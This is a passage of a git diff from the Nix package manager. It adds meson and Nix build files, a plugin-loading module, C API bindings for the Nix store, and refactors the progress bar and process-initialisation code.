+ version : files('.version'), + default_options : [ + 'cpp_std=c++2a', + # TODO(Qyriad): increase the warning level + 'warning_level=1', + 'debug=true', + 'optimization=2', + 'errorlogs=true', # Please print logs for tests that fail + ], + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +cxx = meson.get_compiler('cpp') + +subdir('build-utils-meson/deps-lists') + +configdata = configuration_data() + +deps_private_maybe_subproject = [ +] +deps_public_maybe_subproject = [ + dependency('nix-util'), + dependency('nix-store'), +] +subdir('build-utils-meson/subprojects') + +subdir('build-utils-meson/threads') + +pubsetbuf_test = ''' +#include + +using namespace std; + +char buf[1024]; + +int main() { + cerr.rdbuf()->pubsetbuf(buf, sizeof(buf)); +} +''' + +configdata.set( + 'HAVE_PUBSETBUF', + cxx.compiles(pubsetbuf_test).to_int(), + description: 'Optionally used for buffering on standard error' +) + +config_h = configure_file( + configuration : configdata, + output : 'config-main.hh', +) + +add_project_arguments( + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + '-include', 'config-util.hh', + '-include', 'config-store.hh', + '-include', 'config-main.hh', + language : 'cpp', +) + +subdir('build-utils-meson/diagnostics') + +sources = files( + 'common-args.cc', + 'loggers.cc', + 'plugin.cc', + 'progress-bar.cc', + 'shared.cc', +) + +if host_machine.system() != 'windows' + sources += files( + 'unix/stack.cc', + ) +endif + +include_dirs = [include_directories('.')] + +headers = [config_h] + files( + 'common-args.hh', + 'loggers.hh', + 'plugin.hh', + 'progress-bar.hh', + 'shared.hh', +) + +this_library = library( + 'nixmain', + sources, + dependencies : deps_public + deps_private + deps_other, + prelink : true, # For C++ static initializers + install : true, +) + +install_headers(headers, subdir : 'nix', preserve_path : true) + +libraries_private = [] + +subdir('build-utils-meson/export') diff --git a/src/libmain/nix-main.pc.in b/src/libmain/nix-main.pc.in index 37b03dcd4..fb3ead6fa 100644 --- a/src/libmain/nix-main.pc.in +++ b/src/libmain/nix-main.pc.in @@ -6,4 +6,4 @@ Name: Nix Description: Nix Package Manager Version: @PACKAGE_VERSION@ Libs: -L${libdir} -lnixmain -Cflags: -I${includedir}/nix -std=c++17 +Cflags: -I${includedir}/nix -std=c++2a diff --git a/src/libmain/package.nix b/src/libmain/package.nix new file mode 100644 index 000000000..47513dbdc --- /dev/null +++ b/src/libmain/package.nix @@ -0,0 +1,73 @@ +{ lib +, stdenv +, mkMesonDerivation +, releaseTools + +, meson +, ninja +, pkg-config + +, openssl + +, nix-util +, nix-store + +# Configuration Options + +, version +}: + +let + inherit (lib) fileset; +in + +mkMesonDerivation (finalAttrs: { + pname = "nix-main"; + inherit version; + + workDir = ./.; + fileset = fileset.unions [ + ../../build-utils-meson + ./build-utils-meson + ../../.version + ./.version + ./meson.build + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + ]; + + outputs = [ "out" "dev" ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + ]; + + propagatedBuildInputs = [ + nix-util + nix-store + openssl + ]; + + preConfigure = + # "Inline" .version so it's not a symlink, and includes the suffix. + # Do the meson utils, without modification. + '' + chmod u+w ./.version + echo ${version} > ../../.version + ''; + + env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { + LDFLAGS = "-fuse-ld=gold"; + }; + + separateDebugInfo = !stdenv.hostPlatform.isStatic; + + hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; + + meta = { + platforms = lib.platforms.unix ++ lib.platforms.windows; + }; + +}) diff --git a/src/libmain/plugin.cc b/src/libmain/plugin.cc new file mode 100644 index 000000000..ccfd7f900 --- /dev/null +++ b/src/libmain/plugin.cc @@ -0,0 +1,119 @@ +#ifndef _WIN32 +# include +#endif + +#include + +#include "config-global.hh" +#include "signals.hh" + +namespace nix { + +struct PluginFilesSetting : public BaseSetting +{ + bool pluginsLoaded = false; + + PluginFilesSetting( + Config * options, + const Paths & def, + const std::string & name, + const std::string & description, + const std::set & aliases = {}) + : BaseSetting(def, true, name, description, aliases) + { + options->addSetting(this); + } + + Paths parse(const std::string & str) const override; +}; + +Paths PluginFilesSetting::parse(const std::string & str) const +{ + if (pluginsLoaded) + throw UsageError( + "plugin-files set after plugins were loaded, you may need to move the flag before the subcommand"); + return BaseSetting::parse(str); +} + +struct PluginSettings : Config +{ + PluginFilesSetting pluginFiles{ + this, + {}, + "plugin-files", + R"( + A list of plugin files to be loaded by Nix. Each of these files will + be dlopened by Nix. If they contain the symbol `nix_plugin_entry()`, + this symbol will be called. Alternatively, they can affect execution + through static initialization. In particular, these plugins may construct + static instances of RegisterPrimOp to add new primops or constants to the + expression language, RegisterStoreImplementation to add new store + implementations, RegisterCommand to add new subcommands to the `nix` + command, and RegisterSetting to add new nix config settings. See the + constructors for those types for more details. + + Warning! These APIs are inherently unstable and may change from + release to release. + + Since these files are loaded into the same address space as Nix + itself, they must be DSOs compatible with the instance of Nix + running at the time (i.e. compiled against the same headers, not + linked to any incompatible libraries). They should not be linked to + any Nix libs directly, as those will be available already at load + time. + + If an entry in the list is a directory, all files in the directory + are loaded as plugins (non-recursively). + )"}; +}; + +static PluginSettings pluginSettings; + +static GlobalConfig::Register rPluginSettings(&pluginSettings); + +void initPlugins() +{ + assert(!pluginSettings.pluginFiles.pluginsLoaded); + for (const auto & pluginFile : pluginSettings.pluginFiles.get()) { + std::vector pluginFiles; + try { + auto ents = std::filesystem::directory_iterator{pluginFile}; + for (const auto & ent : ents) { + checkInterrupt(); + pluginFiles.emplace_back(ent.path()); + } + } catch (std::filesystem::filesystem_error & e) { + if (e.code() != std::errc::not_a_directory) + throw; + pluginFiles.emplace_back(pluginFile); + } + for (const auto & file : pluginFiles) { + checkInterrupt(); + /* handle is purposefully leaked as there may be state in the + DSO needed by the action of the plugin. */ +#ifndef _WIN32 // TODO implement via DLL loading on Windows + void * handle = dlopen(file.c_str(), RTLD_LAZY | RTLD_LOCAL); + if (!handle) + throw Error("could not dynamically open plugin file '%s': %s", file, dlerror()); + + /* Older plugins use a statically initialized object to run their code. + Newer plugins can also export nix_plugin_entry() */ + void (*nix_plugin_entry)() = (void (*)()) dlsym(handle, "nix_plugin_entry"); + if (nix_plugin_entry) + nix_plugin_entry(); +#else + throw Error("could not dynamically open plugin file '%s'", file); +#endif + } + } + + /* Since plugins can add settings, try to re-apply previously + unknown settings. */ + globalConfig.reapplyUnknownSettings(); + globalConfig.warnUnknownSettings(); + + /* Tell the user if they try to set plugin-files after we've already loaded */ + pluginSettings.pluginFiles.pluginsLoaded = true; +} + +} diff --git a/src/libmain/plugin.hh b/src/libmain/plugin.hh new file mode 100644 index 000000000..4221c1b17 --- /dev/null +++ b/src/libmain/plugin.hh @@ -0,0 +1,12 @@ +#pragma once +///@file + +namespace nix { + +/** + * This should be called after settings are initialized, but before + * anything else + */ +void initPlugins(); + +} diff --git a/src/libmain/progress-bar.cc b/src/libmain/progress-bar.cc index e9205a5e5..bb4c52ef7 100644 --- a/src/libmain/progress-bar.cc +++ b/src/libmain/progress-bar.cc @@ -1,5 +1,5 @@ #include "progress-bar.hh" -#include "util.hh" +#include "terminal.hh" #include "sync.hh" #include "store-api.hh" #include "names.hh" @@ -7,6 +7,7 @@ #include #include #include +#include #include #include @@ -72,6 +73,7 @@ private: uint64_t corruptedPaths = 0, untrustedPaths = 0; bool active = true; + bool paused = false; bool haveUpdate = true; }; @@ -107,7 +109,8 @@ public: stop(); } - void stop() override + /* Called by destructor, can't be overridden */ + void stop() override final { { auto state(state_.lock()); @@ -120,16 +123,32 @@ public: updateThread.join(); } + void pause() override { + auto state (state_.lock()); + state->paused = true; + if (state->active) + writeToStderr("\r\e[K"); + } + + void resume() override { + auto state (state_.lock()); + state->paused = false; + if (state->active) + writeToStderr("\r\e[K"); + state->haveUpdate = true; + updateCV.notify_one(); + } + bool isVerbose() override { return printBuildLogs; } - void log(Verbosity lvl, const FormatOrString & fs) override + void log(Verbosity lvl, std::string_view s) override { if (lvl > verbosity) return; auto state(state_.lock()); - log(*state, lvl, fs.s); + log(*state, lvl, s); } void logEI(const ErrorInfo & ei) override @@ -142,15 +161,13 @@ public: log(*state, ei.level, oss.str()); } - void log(State & state, Verbosity lvl, const std::string & s) + void log(State & state, Verbosity lvl, std::string_view s) { if (state.active) { writeToStderr("\r\e[K" + filterANSIEscapes(s, !isTTY) + ANSI_NORMAL "\n"); draw(state); } else { - auto s2 = s + ANSI_NORMAL "\n"; - if (!isTTY) s2 = filterANSIEscapes(s2, true); - writeToStderr(s2); + writeToStderr(filterANSIEscapes(s, !isTTY) + "\n"); } } @@ -326,6 +343,14 @@ public: state->activitiesByType[type].expected += j; update(*state); } + + else if (type == resFetchStatus) { + auto i = state->its.find(act); + assert(i != state->its.end()); + ActInfo & actInfo = *i->second; + actInfo.lastLine = getS(fields, 0); + update(*state); + } } void update(State & state) @@ -339,7 +364,7 @@ public: auto nextWakeup = std::chrono::milliseconds::max(); state.haveUpdate = false; - if (!state.active) return nextWakeup; + if (state.paused || !state.active) return nextWakeup; std::string line; @@ -497,7 +522,7 @@ public: std::optional ask(std::string_view msg) override { auto state(state_.lock()); - if (!state->active || !isatty(STDIN_FILENO)) return {}; + if (!state->active) return {}; std::cerr << fmt("\r\e[K%s ", msg); auto s = trim(readLine(STDIN_FILENO)); if (s.size() != 1) return {}; @@ -513,7 +538,7 @@ public: Logger * makeProgressBar() { - return new ProgressBar(shouldANSI()); + return new ProgressBar(isTTY()); } void startProgressBar() diff --git a/src/libmain/progress-bar.hh b/src/libmain/progress-bar.hh index 3a76f8448..c3c6e3833 100644 --- a/src/libmain/progress-bar.hh +++ b/src/libmain/progress-bar.hh @@ -1,4 +1,5 @@ #pragma once +///@file #include "logging.hh" diff --git a/src/libmain/shared.cc b/src/libmain/shared.cc index a58428762..a224f8d92 100644 --- a/src/libmain/shared.cc +++ b/src/libmain/shared.cc @@ -1,16 +1,15 @@ #include "globals.hh" +#include "current-process.hh" #include "shared.hh" #include "store-api.hh" #include "gc-store.hh" -#include "util.hh" #include "loggers.hh" #include "progress-bar.hh" +#include "signals.hh" #include -#include #include #include -#include #include #include @@ -20,16 +19,11 @@ #ifdef __linux__ #include #endif -#ifdef __GLIBC__ -#include -#include -#include -#endif #include -#include - +#include "exit.hh" +#include "strings.hh" namespace nix { @@ -84,8 +78,18 @@ void printMissing(ref store, const StorePathSet & willBuild, downloadSizeMiB, narSizeMiB); } - for (auto & i : willSubstitute) - printMsg(lvl, " %s", store->printStorePath(i)); + std::vector willSubstituteSorted = {}; + std::for_each(willSubstitute.begin(), willSubstitute.end(), + [&](const StorePath &p) { willSubstituteSorted.push_back(&p); }); + std::sort(willSubstituteSorted.begin(), willSubstituteSorted.end(), + [](const StorePath *lhs, const StorePath *rhs) { + if (lhs->name() == rhs->name()) + return lhs->to_string() < rhs->to_string(); + else + return lhs->name() < rhs->name(); + }); + for (auto p : willSubstituteSorted) + printMsg(lvl, " %s", store->printStorePath(*p)); } if (!unknown.empty()) { @@ -105,61 +109,12 @@ std::string getArg(const std::string & opt, return *i; } - -#if OPENSSL_VERSION_NUMBER < 0x10101000L -/* OpenSSL is not thread-safe by default - it will randomly crash - unless the user supplies a mutex locking function. So let's do - that. */ -static std::vector opensslLocks; - -static void opensslLockCallback(int mode, int type, const char * file, int line) -{ - if (mode & CRYPTO_LOCK) - opensslLocks[type].lock(); - else - opensslLocks[type].unlock(); -} -#endif - -static std::once_flag dns_resolve_flag; - -static void preloadNSS() { - /* builtin:fetchurl can trigger a DNS lookup, which with glibc can trigger a dynamic library load of - one of the glibc NSS libraries in a sandboxed child, which will fail unless the library's already - been loaded in the parent. So we force a lookup of an invalid domain to force the NSS machinery to - load its lookup libraries in the parent before any child gets a chance to. */ - std::call_once(dns_resolve_flag, []() { -#ifdef __GLIBC__ - /* On linux, glibc will run every lookup through the nss layer. - * That means every lookup goes, by default, through nscd, which acts as a local - * cache. - * Because we run builds in a sandbox, we also remove access to nscd otherwise - * lookups would leak into the sandbox. - * - * But now we have a new problem, we need to make sure the nss_dns backend that - * does the dns lookups when nscd is not available is loaded or available. - * - * We can't make it available without leaking nix's environment, so instead we'll - * load the backend, and configure nss so it does not try to run dns lookups - * through nscd. - * - * This is technically only used for builtins:fetch* functions so we only care - * about dns. - * - * All other platforms are unaffected. - */ - if (!dlopen(LIBNSS_DNS_SO, RTLD_NOW)) - warn("unable to load nss_dns backend"); - // FIXME: get hosts entry from nsswitch.conf. - __nss_configure_lookup("hosts", "files dns"); -#endif - }); -} - +#ifndef _WIN32 static void sigHandler(int signo) { } +#endif -void initNix() +void initNix(bool loadConfig) { /* Turn on buffering for cerr. */ #if HAVE_PUBSETBUF @@ -167,18 +122,10 @@ void initNix() std::cerr.rdbuf()->pubsetbuf(buf, sizeof(buf)); #endif -#if OPENSSL_VERSION_NUMBER < 0x10101000L - /* Initialise OpenSSL locking. */ - opensslLocks = std::vector(CRYPTO_num_locks()); - CRYPTO_set_locking_callback(opensslLockCallback); -#endif + initLibStore(loadConfig); - if (sodium_init() == -1) - throw Error("could not initialise libsodium"); - - loadConfFile(); - - startSignalHandlerThread(); +#ifndef _WIN32 + unix::startSignalHandlerThread(); /* Reset SIGCHLD to its default. */ struct sigaction act; @@ -192,6 +139,7 @@ void initNix() /* Install a dummy SIGUSR1 handler for use with pthread_kill(). */ act.sa_handler = sigHandler; if (sigaction(SIGUSR1, &act, 0)) throw SysError("handling SIGUSR1"); +#endif #if __APPLE__ /* HACK: on darwin, we need can’t use sigprocmask with SIGWINCH. @@ -213,8 +161,13 @@ void initNix() if (sigaction(SIGTRAP, &act, 0)) throw SysError("handling SIGTRAP"); #endif - /* Register a SIGSEGV handler to detect stack overflows. */ +#ifndef _WIN32 + /* Register a SIGSEGV handler to detect stack overflows. + Why not initLibExpr()? initGC() is essentially that, but + detectStackOverflow is not an instance of the init function concept, as + it may have to be invoked more than once per process. */ detectStackOverflow(); +#endif /* There is no privacy in the Nix system ;-) At least not for now. In particular, store objects should be readable by @@ -224,17 +177,12 @@ void initNix() /* Initialise the PRNG. */ struct timeval tv; gettimeofday(&tv, 0); +#ifndef _WIN32 srandom(tv.tv_usec); - - /* On macOS, don't use the per-session TMPDIR (as set e.g. by - sshd). This breaks build users because they don't have access - to the TMPDIR, in particular in ‘nix-store --serve’. */ -#if __APPLE__ - if (hasPrefix(getEnv("TMPDIR").value_or("/tmp"), "/var/folders/")) - unsetenv("TMPDIR"); #endif + srand(tv.tv_usec); + - preloadNSS(); } @@ -346,7 +294,7 @@ void parseCmdLine(const std::string & programName, const Strings & args, void printVersion(const std::string & programName) { - std::cout << format("%1% (Nix) %2%") % programName % nixVersion << std::endl; + std::cout << fmt("%1% (Nix) %2%", programName, nixVersion) << std::endl; if (verbosity > lvlInfo) { Strings cfg; #if HAVE_BOEHMGC @@ -362,6 +310,7 @@ void printVersion(const std::string & programName) << "\n"; std::cout << "Store directory: " << settings.nixStore << "\n"; std::cout << "State directory: " << settings.nixStateDir << "\n"; + std::cout << "Data directory: " << settings.nixDataDir << "\n"; } throw Exit(); } @@ -370,8 +319,12 @@ void printVersion(const std::string & programName) void showManPage(const std::string & name) { restoreProcessContext(); - setenv("MANPATH", settings.nixManDir.c_str(), 1); + setEnv("MANPATH", settings.nixManDir.c_str()); execlp("man", "man", name.c_str(), nullptr); + if (errno == ENOENT) { + // Not SysError because we don't want to suffix the errno, aka No such file or directory. + throw Error("The '%1%' command was not found, but it is needed for '%2%' and some other '%3%' commands' help text. Perhaps you could install the '%1%' command?", "man", name.c_str(), "nix-*"); + } throw SysError("command 'man %1%' failed", name.c_str()); } @@ -402,9 +355,7 @@ int handleExceptions(const std::string & programName, std::function fun) return 1; } catch (BaseError & e) { logError(e.info()); - if (e.hasTrace() && !loggerSettings.showTrace.get()) - printError("(use '--show-trace' to show detailed location information)"); - return e.status; + return e.info().status; } catch (std::bad_alloc & e) { printError(error + "out of memory"); return 1; @@ -429,11 +380,14 @@ RunPager::RunPager() Pipe toPager; toPager.create(); +#ifdef _WIN32 // TODO re-enable on Windows, once we can start processes. + throw Error("Commit signature verification not implemented on Windows yet"); +#else pid = startProcess([&]() { if (dup2(toPager.readSide.get(), STDIN_FILENO) == -1) throw SysError("dupping stdin"); if (!getenv("LESS")) - setenv("LESS", "FRSXMK", 1); + setEnv("LESS", "FRSXMK"); restoreProcessContext(); if (pager) execl("/bin/sh", "sh", "-c", pager, nullptr); @@ -444,20 +398,23 @@ RunPager::RunPager() }); pid.setKillSignal(SIGINT); - stdout = fcntl(STDOUT_FILENO, F_DUPFD_CLOEXEC, 0); + std_out = fcntl(STDOUT_FILENO, F_DUPFD_CLOEXEC, 0); if (dup2(toPager.writeSide.get(), STDOUT_FILENO) == -1) - throw SysError("dupping stdout"); + throw SysError("dupping standard output"); +#endif } RunPager::~RunPager() { try { +#ifndef _WIN32 // TODO re-enable on Windows, once we can start processes. if (pid != -1) { std::cout.flush(); - dup2(stdout, STDOUT_FILENO); + dup2(std_out, STDOUT_FILENO); pid.wait(); } +#endif } catch (...) { ignoreException(); } @@ -472,6 +429,4 @@ PrintFreed::~PrintFreed() showBytes(results.bytesFreed)); } -Exit::~Exit() { } - } diff --git a/src/libmain/shared.hh b/src/libmain/shared.hh index 3c37fd627..712b404d3 100644 --- a/src/libmain/shared.hh +++ b/src/libmain/shared.hh @@ -1,31 +1,25 @@ #pragma once +///@file -#include "util.hh" +#include "file-descriptor.hh" +#include "processes.hh" #include "args.hh" +#include "args/root.hh" #include "common-args.hh" #include "path.hh" #include "derived-path.hh" #include -#include - - namespace nix { -class Exit : public std::exception -{ -public: - int status; - Exit() : status(0) { } - Exit(int status) : status(status) { } - virtual ~Exit(); -}; - int handleExceptions(const std::string & programName, std::function fun); -/* Don't forget to call initPlugins() after settings are initialized! */ -void initNix(); +/** + * Don't forget to call initPlugins() after settings are initialized! + * @param loadConfig Whether to load configuration from `nix.conf`, `NIX_CONFIG`, etc. May be disabled for unit tests. + */ +void initNix(bool loadConfig = true); void parseCmdLine(int argc, char * * argv, std::function parseArg); @@ -35,11 +29,12 @@ void parseCmdLine(const std::string & programName, const Strings & args, void printVersion(const std::string & programName); -/* Ugh. No better place to put this. */ +/** + * Ugh. No better place to put this. + */ void printGCWarning(); class Store; -struct StorePathWithOutputs; void printMissing( ref store, @@ -62,7 +57,7 @@ template N getIntArg(const std::string & opt, } -struct LegacyArgs : public MixCommonArgs +struct LegacyArgs : public MixCommonArgs, public RootArgs { std::function parseArg; @@ -75,11 +70,16 @@ struct LegacyArgs : public MixCommonArgs }; -/* Show the manual page for the specified program. */ +/** + * Show the manual page for the specified program. + */ void showManPage(const std::string & name); -/* The constructor of this class starts a pager if stdout is a - terminal and $PAGER is set. Stdout is redirected to the pager. */ +/** + * The constructor of this class starts a pager if standard output is a + * terminal and $PAGER is set. Standard output is redirected to the + * pager. + */ class RunPager { public: @@ -87,8 +87,10 @@ public: ~RunPager(); private: +#ifndef _WIN32 // TODO re-enable on Windows, once we can start processes. Pid pid; - int stdout; +#endif + Descriptor std_out; }; extern volatile ::sig_atomic_t blockInt; @@ -110,28 +112,36 @@ struct PrintFreed }; -/* Install a SIGSEGV handler to detect stack overflows. */ +#ifndef _WIN32 +/** + * Install a SIGSEGV handler to detect stack overflows. + */ void detectStackOverflow(); -/* Pluggable behavior to run in case of a stack overflow. - - Default value: defaultStackOverflowHandler. - - This is called by the handler installed by detectStackOverflow(). - - This gives Nix library consumers a limit opportunity to report the error - condition. The handler should exit the process. - See defaultStackOverflowHandler() for a reference implementation. - - NOTE: Use with diligence, because this runs in the signal handler, with very - limited stack space and a potentially a corrupted heap, all while the failed - thread is blocked indefinitely. All functions called must be reentrant. */ +/** + * Pluggable behavior to run in case of a stack overflow. + * + * Default value: defaultStackOverflowHandler. + * + * This is called by the handler installed by detectStackOverflow(). + * + * This gives Nix library consumers a limit opportunity to report the error + * condition. The handler should exit the process. + * See defaultStackOverflowHandler() for a reference implementation. + * + * NOTE: Use with diligence, because this runs in the signal handler, with very + * limited stack space and a potentially a corrupted heap, all while the failed + * thread is blocked indefinitely. All functions called must be reentrant. + */ extern std::function stackOverflowHandler; -/* The default, robust implementation of stackOverflowHandler. - - Prints an error message directly to stderr using a syscall instead of the - logger. Exits the process immediately after. */ +/** + * The default, robust implementation of stackOverflowHandler. + * + * Prints an error message directly to stderr using a syscall instead of the + * logger. Exits the process immediately after. + */ void defaultStackOverflowHandler(siginfo_t * info, void * ctx); +#endif } diff --git a/src/libmain/stack.cc b/src/libmain/unix/stack.cc similarity index 100% rename from src/libmain/stack.cc rename to src/libmain/unix/stack.cc diff --git a/src/libstore-c/.version b/src/libstore-c/.version new file mode 120000 index 000000000..b7badcd0c --- /dev/null +++ b/src/libstore-c/.version @@ -0,0 +1 @@ +../../.version \ No newline at end of file diff --git a/src/libstore-c/build-utils-meson b/src/libstore-c/build-utils-meson new file mode 120000 index 000000000..5fff21bab --- /dev/null +++ b/src/libstore-c/build-utils-meson @@ -0,0 +1 @@ +../../build-utils-meson \ No newline at end of file diff --git a/src/libstore-c/local.mk b/src/libstore-c/local.mk new file mode 100644 index 000000000..5e3eff06a --- /dev/null +++ b/src/libstore-c/local.mk @@ -0,0 +1,21 @@ +libraries += libstorec + +libstorec_NAME = libnixstorec + +libstorec_DIR := $(d) + +libstorec_SOURCES := $(wildcard $(d)/*.cc) + +libstorec_LIBS = libutil libstore libutilc + +libstorec_LDFLAGS += $(THREAD_LDFLAGS) + +# Not just for this library itself, but also for downstream libraries using this library + +INCLUDE_libstorec := -I $(d) +libstorec_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libutilc) \ + $(INCLUDE_libstore) $(INCLUDE_libstorec) + +$(eval $(call install-file-in, $(d)/nix-store-c.pc, $(libdir)/pkgconfig, 0644)) + +libstorec_FORCE_INSTALL := 1 diff --git a/src/libstore-c/meson.build b/src/libstore-c/meson.build new file mode 100644 index 000000000..4bfd944c6 --- /dev/null +++ b/src/libstore-c/meson.build @@ -0,0 +1,85 @@ +project('nix-store-c', 'cpp', + version : files('.version'), + default_options : [ + 'cpp_std=c++2a', + # TODO(Qyriad): increase the warning level + 'warning_level=1', + 'debug=true', + 'optimization=2', + 'errorlogs=true', # Please print logs for tests that fail + ], + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +cxx = meson.get_compiler('cpp') + +subdir('build-utils-meson/deps-lists') + +configdata = configuration_data() + +deps_private_maybe_subproject = [ + dependency('nix-util'), + dependency('nix-store'), +] +deps_public_maybe_subproject = [ + dependency('nix-util-c'), +] +subdir('build-utils-meson/subprojects') + +subdir('build-utils-meson/threads') + +# TODO rename, because it will conflict with downstream projects +configdata.set_quoted('PACKAGE_VERSION', meson.project_version()) + +config_h = configure_file( + configuration : configdata, + output : 'config-store.h', +) + +add_project_arguments( + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + + # From C++ libraries, only for internals + '-include', 'config-util.hh', + '-include', 'config-store.hh', + + # From C libraries, for our public, installed headers too + '-include', 'config-util.h', + '-include', 'config-store.h', + language : 'cpp', +) + +subdir('build-utils-meson/diagnostics') + +sources = files( + 'nix_api_store.cc', +) + +include_dirs = [include_directories('.')] + +headers = [config_h] + files( + 'nix_api_store.h', +) + +# TODO don't install this once tests don't use it and/or move the header into `libstore`, non-`c` +headers += files('nix_api_store_internal.h') + +subdir('build-utils-meson/export-all-symbols') + +this_library = library( + 'nixstorec', + sources, + dependencies : deps_public + deps_private + deps_other, + include_directories : include_dirs, + link_args: linker_export_flags, + prelink : true, # For C++ static initializers + install : true, +) + +install_headers(headers, subdir : 'nix', preserve_path : true) + +libraries_private = [] + +subdir('build-utils-meson/export') diff --git a/src/libstore-c/nix-store-c.pc.in b/src/libstore-c/nix-store-c.pc.in new file mode 100644 index 000000000..de3c7b4c6 --- /dev/null +++ b/src/libstore-c/nix-store-c.pc.in @@ -0,0 +1,9 @@ +prefix=@prefix@ +libdir=@libdir@ +includedir=@includedir@ + +Name: Nix +Description: Nix Store - C API +Version: @PACKAGE_VERSION@ +Libs: -L${libdir} -lnixstorec -lnixutilc +Cflags: -I${includedir}/nix diff --git a/src/libstore-c/nix_api_store.cc b/src/libstore-c/nix_api_store.cc new file mode 100644 index 000000000..79841ca49 --- /dev/null +++ b/src/libstore-c/nix_api_store.cc @@ -0,0 +1,146 @@ +#include "nix_api_store.h" +#include "nix_api_store_internal.h" +#include "nix_api_util.h" +#include "nix_api_util_internal.h" + +#include "path.hh" +#include "store-api.hh" +#include "build-result.hh" + +#include "globals.hh" + +nix_err nix_libstore_init(nix_c_context * context) +{ + if (context) + context->last_err_code = NIX_OK; + try { + nix::initLibStore(); + } + NIXC_CATCH_ERRS +} + +nix_err nix_libstore_init_no_load_config(nix_c_context * context) +{ + if (context) + context->last_err_code = NIX_OK; + try { + nix::initLibStore(false); + } + NIXC_CATCH_ERRS +} + +Store * nix_store_open(nix_c_context * context, const char * uri, const char *** params) +{ + if (context) + context->last_err_code = NIX_OK; + try { + std::string uri_str = uri ? uri : ""; + + if (uri_str.empty()) + return new Store{nix::openStore()}; + + if (!params) + return new Store{nix::openStore(uri_str)}; + + nix::Store::Params params_map; + for (size_t i = 0; params[i] != nullptr; i++) { + params_map[params[i][0]] = params[i][1]; + } + return new Store{nix::openStore(uri_str, params_map)}; + } + NIXC_CATCH_ERRS_NULL +} + +void nix_store_free(Store * store) +{ + delete store; +} + +nix_err nix_store_get_uri(nix_c_context * context, Store * store, nix_get_string_callback callback, void * user_data) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto res = store->ptr->getUri(); + return call_nix_get_string_callback(res, callback, user_data); + } + NIXC_CATCH_ERRS +} + +nix_err +nix_store_get_version(nix_c_context * context, Store * store, nix_get_string_callback callback, void * user_data) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto res = store->ptr->getVersion(); + return call_nix_get_string_callback(res.value_or(""), callback, user_data); + } + NIXC_CATCH_ERRS +} + +bool nix_store_is_valid_path(nix_c_context * context, Store * store, StorePath * path) +{ + if (context) + context->last_err_code = NIX_OK; + try { + return store->ptr->isValidPath(path->path); + } + NIXC_CATCH_ERRS_RES(false); +} + +StorePath * nix_store_parse_path(nix_c_context * context, Store * store, const char * path) +{ + if (context) + context->last_err_code = NIX_OK; + try { + nix::StorePath s = store->ptr->parseStorePath(path); + return new StorePath{std::move(s)}; + } + NIXC_CATCH_ERRS_NULL +} + +nix_err nix_store_realise( + nix_c_context * context, + Store * store, + StorePath * path, + void * userdata, + void (*callback)(void * userdata, const char *, const char *)) +{ + if (context) + context->last_err_code = NIX_OK; + try { + + const std::vector paths{nix::DerivedPath::Built{ + .drvPath = nix::makeConstantStorePathRef(path->path), .outputs = nix::OutputsSpec::All{}}}; + + const auto nixStore = store->ptr; + auto results = nixStore->buildPathsWithResults(paths, nix::bmNormal, nixStore); + + if (callback) { + for (const auto & result : results) { + for (const auto & [outputName, realisation] : result.builtOutputs) { + auto op = store->ptr->printStorePath(realisation.outPath); + callback(userdata, outputName.c_str(), op.c_str()); + } + } + } + } + NIXC_CATCH_ERRS +} + +void nix_store_path_name(const StorePath * store_path, nix_get_string_callback callback, void * user_data) +{ + std::string_view name = store_path->path.name(); + callback(name.data(), name.size(), user_data); +} + +void nix_store_path_free(StorePath * sp) +{ + delete sp; +} + +StorePath * nix_store_path_clone(const StorePath * p) +{ + return new StorePath{p->path}; +} diff --git a/src/libstore-c/nix_api_store.h b/src/libstore-c/nix_api_store.h new file mode 100644 index 000000000..4b2134457 --- /dev/null +++ b/src/libstore-c/nix_api_store.h @@ -0,0 +1,171 @@ +#ifndef NIX_API_STORE_H +#define NIX_API_STORE_H +/** + * @defgroup libstore libstore + * @brief C bindings for nix libstore + * + * libstore is used for talking to a Nix store + * @{ + */ +/** @file + * @brief Main entry for the libstore C bindings + */ + +#include "nix_api_util.h" +#include + +#ifdef __cplusplus +extern "C" { +#endif +// cffi start + +/** @brief Reference to a Nix store */ +typedef struct Store Store; +/** @brief Nix store path */ +typedef struct StorePath StorePath; + +/** + * @brief Initializes the Nix store library + * + * This function should be called before creating a Store + * This function can be called multiple times. + * + * @param[out] context Optional, stores error information + * @return NIX_OK if the initialization was successful, an error code otherwise. + */ +nix_err nix_libstore_init(nix_c_context * context); + +/** + * @brief Like nix_libstore_init, but does not load the Nix configuration. + * + * This is useful when external configuration is not desired, such as when running unit tests. + */ +nix_err nix_libstore_init_no_load_config(nix_c_context * context); + +/** + * @brief Open a nix store. + * + * Store instances may share state and resources behind the scenes. + * + * @param[out] context Optional, stores error information + * @param[in] uri URI of the Nix store, copied. See [*Store URL format* in the Nix Reference + * Manual](https://nixos.org/manual/nix/stable/store/types/#store-url-format). + * @param[in] params optional, null-terminated array of key-value pairs, e.g. {{"endpoint", + * "https://s3.local"}}. See [*Store Types* in the Nix Reference + * Manual](https://nixos.org/manual/nix/stable/store/types). + * @return a Store pointer, NULL in case of errors + * @see nix_store_free + */ +Store * nix_store_open(nix_c_context * context, const char * uri, const char *** params); + +/** + * @brief Deallocate a nix store and free any resources if not also held by other Store instances. + * + * Does not fail. + * + * @param[in] store the store to free + */ +void nix_store_free(Store * store); + +/** + * @brief get the URI of a nix store + * @param[out] context Optional, stores error information + * @param[in] store nix store reference + * @param[in] callback Called with the URI. + * @param[in] user_data optional, arbitrary data, passed to the callback when it's called. + * @see nix_get_string_callback + * @return error code, NIX_OK on success. + */ +nix_err nix_store_get_uri(nix_c_context * context, Store * store, nix_get_string_callback callback, void * user_data); + +// returns: owned StorePath* +/** + * @brief Parse a Nix store path into a StorePath + * + * @note Don't forget to free this path using 